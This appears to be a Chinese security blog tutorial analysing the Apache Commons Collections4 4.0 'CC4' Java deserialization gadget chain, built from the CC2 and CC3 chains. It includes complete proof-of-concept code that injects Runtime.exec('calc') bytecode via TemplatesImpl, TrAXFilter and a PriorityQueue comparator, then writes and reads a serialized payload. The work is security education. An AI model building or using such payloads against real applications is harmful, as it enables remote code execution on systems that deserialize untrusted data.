0x00、前言
CC1、2、3过完,4也是变种,还是单独列出来方便整理吧,写一起太乱了。
0x01、Apache Commons Collections描述
引用CC1链分析中的描述
CC链即Commons Collections利用链,主要针对Commons Collections组件发现的利用链。
Apache Commons是Apache软件基金会的项目。Commons的目的是提供可重用的、开源的Java代码。
Apache Commons提供了很多工具类库,他们几乎不依赖其他第三方的类库,接口稳定,集成简单,可以大大提高编码效率和代码质量。
Apache Commons Collections 是对 java.util.Collection 的扩展。
Commons Collections包为Java标准的Collections API提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让我们在开发应用程序的过程中,既保证了性能,同时也能大大简化代码。
目前 Collections 包有两个 commons-collections 和commons-collections4,commons-collections 最新版本是3.2.2,3系列版本也是只有3.2.2是安全的,不支持泛型,目前官方已不在维护。collections4 目前最新版本是4.4,其中4.0是存在漏洞,最低要求 Java8 以上。相对于 collections 来说完全支持 Java8 的特性并且支持泛型,该版本无法兼容旧有版本,于是为了避免冲突改名为 collections4。推荐直接使用该版本。(注:两个版本可以共存,使用时需要注意)
0x02、环境准备
java版本:jdk8u66(版本无限制)
Commons Collections:4.0(漏洞版本在4.0)
maven项目pom.xml文件中添加依赖
<dependencies> <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.0</version> </dependency> </dependencies>
|
在idea访问Commons Collections组件的文件时候点击上方的下载源代码就可以看到对应文件的.java文件了
0x03、分析
回顾
在学cc2的时候,使用到了两条链:
- ChainedTransformer(Runtime)+PriorityQueue:通过ChainedTransformer串联Runtime恶意方法,添加到PriorityQueue队列比较器中,在添加元素时触发利用。
- 字节码+PriorityQueue:通过invokerTransformer调用templates.newTransformer()方法,并作为比较器添加到PriorityQueue队列中,添加templates对象作为元素时,比较时调用templates.newTransformer()方法触发利用。
在cc3链中学习时,使用的两个链:
- 通过字节码+(TrAXFilter+InstantiateTransformer)+LazyMap:通过LazyMap调用invoke方法执行到ChainedTransformer中的(TrAXFilter+InstantiateTransformer),实例化TrAXFilter对象,并执行templates.newTransformer()方法触发利用。
- 通过字节码+(TrAXFilter+InstantiateTransformer)+TransformedMap:通过TransformedMap重写的反序列化调用ChainedTransformer中的(TrAXFilter+InstantiateTransformer),实例化TrAXFilter对象,并执行templates.newTransformer()方法触发利用。
分析
序列化利用链触发方法简单形容就是:恶意代码构造+触发点+序列化入口
而cc4中把cc2、cc3中可组合利用的部分链进行了组合。
cc4中利用版本为Commons Collections4,意味着cc2中的PriorityQueue队列仍然可以作为序列化入口(Commons Collections3中TransformingComparator未实现序列化)。

PriorityQueue队列序列化入口有了,接下来就是触发点和恶意代码构造。
触发点就为cc3中的(TrAXFilter+InstantiateTransformer),恶意代码构造为字节码。

cc4的利用链思路就出来了,很简单,简述就是把cc3中的(TrAXFilter+InstantiateTransformer)触发方式跟cc2的第二条链的触发方式替换了一下。
由于触发点的更换,因此在PriorityQueue队列中无需添加templates对象元素。
因为在CC3中触发点为invokerTransformer("newTransformer")
Constructor cons=Class.forName("org.apache.commons.collections4.functors.InvokerTransformer").getDeclaredConstructor(String.class); cons.setAccessible(true); InvokerTransformer invokerTransformer=(InvokerTransformer) cons.newInstance("newTransformer");
|
想要调用该触发点,必须在队列首位添加templates对象的元素,才能调用InvokerTransformer.transform(TemplatesImpl)


而在cc4中,触发点变成了(TrAXFilter+InstantiateTransformer)作为比较器,目的只需要调用到该比较器即可触发利用,因此无需向队列添加元素,Transformer[]首位为ConstantTransformer对象,传入的任何obj对象都会返回TrAXFilter.class,因此对Obj传入参数并不影响。

构造POC
可以继续按照 恶意代码构造+触发点+序列化入口
恶意代码构造依旧把cc2主体代码(字节码)搬过来
ClassPool pool2=ClassPool.getDefault();
CtClass ct=pool2.makeClass("People2");
ct.setSuperclass(pool2.get(AbstractTranslet.class.getName()));
CtConstructor cons2=ct.makeClassInitializer();
cons2.insertBefore("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] bytecode=ct.toBytecode(); byte[][] bytecodes=new byte[][]{bytecode};
TemplatesImpl templates=TemplatesImpl.class.newInstance();
setFieldValue(templates,"_bytecodes",bytecodes);
setFieldValue(templates,"_class",null);
setFieldValue(templates,"_name","test");
setFieldValue(templates, "_tfactory", TransformerFactoryImpl.class.newInstance());
|
接着触发点,使用cc3中的触发点
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates}) };
Transformer transformerChain = new ChainedTransformer(transformers);
|
最后添加PriorityQueue序列化入口,并通过反射设置满足条件,再根据上述分析,去掉添加元素的步骤
TransformingComparator comparator=new TransformingComparator(transformerChain);
PriorityQueue pq=new PriorityQueue(2);
setFieldValue(pq,"size",2);
setFieldValue(pq,"comparator",comparator);
|
最后反序列化
得到最后代码poc:
public static void main(String[] args) throws Exception { ClassPool pool2=ClassPool.getDefault(); CtClass ct=pool2.makeClass("People2"); ct.setSuperclass(pool2.get(AbstractTranslet.class.getName())); CtConstructor cons2=ct.makeClassInitializer(); cons2.insertBefore("java.lang.Runtime.getRuntime().exec(\"calc\");"); byte[] bytecode=ct.toBytecode(); byte[][] bytecodes=new byte[][]{bytecode}; TemplatesImpl templates=TemplatesImpl.class.newInstance(); setFieldValue(templates,"_bytecodes",bytecodes); setFieldValue(templates,"_class",null); setFieldValue(templates,"_name","test"); setFieldValue(templates, "_tfactory", TransformerFactoryImpl.class.newInstance());
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates}) }; Transformer transformerChain = new ChainedTransformer(transformers);
TransformingComparator comparator=new TransformingComparator(transformerChain); PriorityQueue pq=new PriorityQueue(2); setFieldValue(pq,"size",2); setFieldValue(pq,"comparator",comparator);
try{ ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cc4payload.ser")); outputStream.writeObject(pq); outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("cc4payload.ser")); inputStream.readObject(); inputStream.close(); }catch(Exception e){ e.printStackTrace(); }
} private static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); }
|

0x04、总结
cc4简述就是cc3中触发代码替换cc2中的触发代码,由于触发代码的改变,无需向队列添加元素,使用比较器时自动触发,比较好理解。
0x05、参考链接
java漫谈